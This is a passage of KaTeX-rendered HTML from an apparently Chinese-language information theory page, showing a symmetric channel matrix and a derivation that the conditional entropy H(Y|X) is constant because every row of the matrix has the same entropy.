667 3600"><path d="M403 1759 V84 H666 V0 H319 V1759 v0 v1759 h347 v-84H403z M403 1759 V0 H319 V1759 v0 v1759 h84z"/></svg></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.55em;"><span></span></span></span></span></span></span><span class="mord"><span class="mtable"><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.115em;"><span style="top:-4.275em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord mathnormal">p</span></span></span><span style="top:-3.0317em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.7475em;"><span style="top:-2.655em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">n</span><span class="mbin mtight">−</span><span class="mord mtight">1</span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.4461em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">p</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.4033em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span></span></span><span style="top:-1.7883em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.7475em;"><span style="top:-2.655em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">n</span><span class="mbin mtight">−</span><span class="mord mtight">1</span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.4461em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">p</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.4033em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.615em;"><span></span></span></span></span></span><span class="arraycolsep" style="width:0.5em;"></span><span class="arraycolsep" style="width:0.5em;"></span><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.115em;"><span style="top:-4.275em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.7475em;"><span style="top:-2.655em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">n</span><span class="mbin mtight">−</span><span class="mord mtight">1</span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.4461em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">p</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.4033em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span></span></span><span style="top:-3.0317em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord mathnormal">p</span></span></span><span style="top:-1.7883em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.7475em;"><span style="top:-2.655em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">n</span><span class="mbin mtight">−</span><span class="mord mtight">1</span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.4461em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">p</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.4033em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.615em;"><span></span></span></span></span></span><span class="arraycolsep" style="width:0.5em;"></span><span class="arraycolsep" style="width:0.5em;"></span><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.115em;"><span style="top:-4.275em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">.....</span></span></span><span style="top:-3.0317em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">....</span></span></span><span style="top:-1.7883em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">....</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.615em;"><span></span></span></span></span></span><span class="arraycolsep" style="width:0.5em;"></span><span class="arraycolsep" style="width:0.5em;"></span><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.115em;"><span style="top:-4.275em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.7475em;"><span style="top:-2.655em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">n</span><span class="mbin mtight">−</span><span class="mord mtight">1</span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.4461em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">p</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.4033em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span></span></span><span style="top:-3.0317em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.7475em;"><span style="top:-2.655em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">n</span><span class="mbin mtight">−</span><span class="mord mtight">1</span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.4461em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">p</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.4033em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span></span></span><span style="top:-1.7883em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord mathnormal">p</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.615em;"><span></span></span></span></span></span></span></span><span class="mclose"><span class="delimsizing mult"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.05em;"><span style="top:-4.05em;"><span class="pstrut" style="height:5.6em;"></span><span style="width:0.667em;height:3.600em;"><svg xmlns="http://www.w3.org/2000/svg" width="0.667em" height="3.600em" viewBox="0 0 667 3600"><path d="M347 1759 V0 H0 V84 H263 V1759 v0 v1759 H0 v84 H347zM347 1759 V0 H263 V1759 v0 v1759 h84z"/></svg></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.55em;"><span></span></span></span></span></span></span></span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:-1.2564em;"><span style="top:-1.0353em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">n</span><span class="mbin mtight">×</span><span class="mord mathnormal mtight">n</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.723em;"><span></span></span></span></span></span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:2.569em;"><span></span></span></span></span></span></span></span></span></span></span></span></p><p>那么很特殊的性质就是 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.08125em;">H</span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.22222em;">Y</span><span class="mord">∣</span><span class="mord mathnormal" style="margin-right:0.07847em;">X</span><span class="mclose">)</span></span></span></span> 是常数，因为每一行信源熵都相等，所以</p><p><span class="katex-display"><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:3.0652em;vertical-align:-1.4138em;"></span><span class="mop op-limits"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.6514em;"><span style="top:-1.8723em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.05724em;">j</span><span class="mrel mtight">=</span><span class="mord mtight">1</span></span></span></span><span style="top:-3.05em;"><span class="pstrut" style="height:3.05em;"></span><span><span class="mop op-symbol large-op">∑</span></span></span><span style="top:-4.3em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">n</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.4138em;"><span></span></span></span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal">p</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord"><span class="mord mathnormal">b</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.05724em;">j</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span><span class="mord">/</span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;">)</span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mop">lo<span style="margin-right:0.01389em;">g</span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">p</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord"><span class="mord mathnormal">b</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.05724em;">j</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span><span class="mord">/</span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;">)</span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord">1</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">p</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mop">lo<span style="margin-right:0.01389em;">g</span></span><span class="mopen">(</span><span class="mord">1</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">p</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:2.4em;vertical-align:-0.95em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;"><span class="delimsizing size3">(</span></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.1076em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal">n</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord">1</span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal">p</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.7693em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mop">lo<span style="margin-right:0.01389em;">g</span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.1076em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal">n</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord">1</span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal">p</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.7693em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mclose delimcenter" style="top:0em;"><span class="delimsizing size3">)</span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mopen">(</span><span class="mord mathnormal">n</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">1</span><span class="mclose">)</span></span></span></span></span></p><p>令这个常数为 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.08125em;">H</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:-0.0813em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">ni</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>，就得到了下面的结论</p><p><span class="katex-display"><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:6.5942em;vertical-align:-3.0471em;"></span><span class="mord"><span class="mtable"><span class="col-align-r"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:3.5471em;"><span style="top:-5.5471em;"><span class="pstrut" style="height:3.6514em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.08125em;">H</span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.22222em;">Y</span><span class="mord">/</span><span class="mord mathnormal" style="margin-right:0.07847em;">X</span><span class="mclose">)</span></span></span><span style="top:-2.1819em;"><span class="pstrut" style="height:3.6514em;"></span><span class="mord"></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:3.0471em;"><span></span></span></span></span></span><span class="col-align-l"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:3.5471em;"><span style="top:-5.5471em;"><span class="pstrut" style="height:3.6514em;"></span><span class="mord"><span class="mord"></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mord">−</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mop op-limits"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.6514em;"><span style="top:-1.8723em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">i</span><span class="mrel mtight">=</span><span class="mord mtight">1</span></span></span></span><span style="top:-3.05em;"><span class="pstrut" style="height:3.05em;"></span><span><span class="mop op-symbol large-op">∑</span></span></span><span style="top:-4.3em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">n</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.2777em;"><span></span></span></span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mop op-limits"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.6514em;"><span style="top:-1.8723em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.05724em;">j</span><span class="mrel mtight">=</span><span class="mord mtight">1</span></span></span></span><span style="top:-3.05em;"><span class="pstrut" style="height:3.05em;"></span><span><span class="mop op-symbol large-op">∑</span></span></span><span style="top:-4.3em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">n</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.4138em;"><span></span></span></span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal">p</span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;">)</span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">p</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord"><span class="mord mathnormal">b</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.05724em;">j</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span><span class="mord">/</span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;">)</span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mop">lo<span style="margin-right:0.01389em;">g</span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">p</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord"><span class="mord mathnormal">b</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.05724em;">j</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span><span class="mord">/</span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;">)</span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mord">−</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mop op-limits"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.6514em;"><span style="top:-1.8723em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">i</span><span class="mrel mtight">=</span><span class="mord mtight">1</span></span></span></span><span style="top:-3.05em;"><span class="pstrut" style="height:3.05em;"></span><span><span class="mop op-symbol large-op">∑</span></span></span><span style="top:-4.3em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">n</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.2777em;"><span></span></span></span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal">p</span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;">)</span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mop op-limits"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.6514em;"><span style="top:-1.8723em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.05724em;">j</span><span class="mrel mtight">=</span><span class="mord mtight">1</span></span></span></span><span style="top:-3.05em;"><span class="pstrut" style="height:3.05em;"></span><span><span class="mop op-symbol large-op">∑</span></span></span><span style="top:-4.3em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">n</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.4138em;"><span></span></span></span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal">p</span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord"><span class="mord mathnormal">b</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.05724em;">j</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span><span class="mord">/</span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;">)</span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mop">lo<span style="margin-right:0.01389em;">g</span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">p</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord"><span class="mord mathnormal">b</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.05724em;">j</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span><span class="mord">/</span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;">)</span></span></span></span><span style="top:-2.1819em;"><span class="pstrut" style="height:3.6514em;"></span><span class="mord"><span class="mord"></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mord">−</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mop op-limits"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.6514em;"><span style="top:-1.8723em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">i</span><span class="mrel mtight">=</span><span class="mord mtight">1</span></span></span></span><span style="top:-3.05em;"><span class="pstrut" style="height:3.05em;"></span><span><span class="mop op-symbol large-op">∑</span></span></span><span style="top:-4.3em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">n</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.2777em;"><span></span></span></span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal">p</span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing 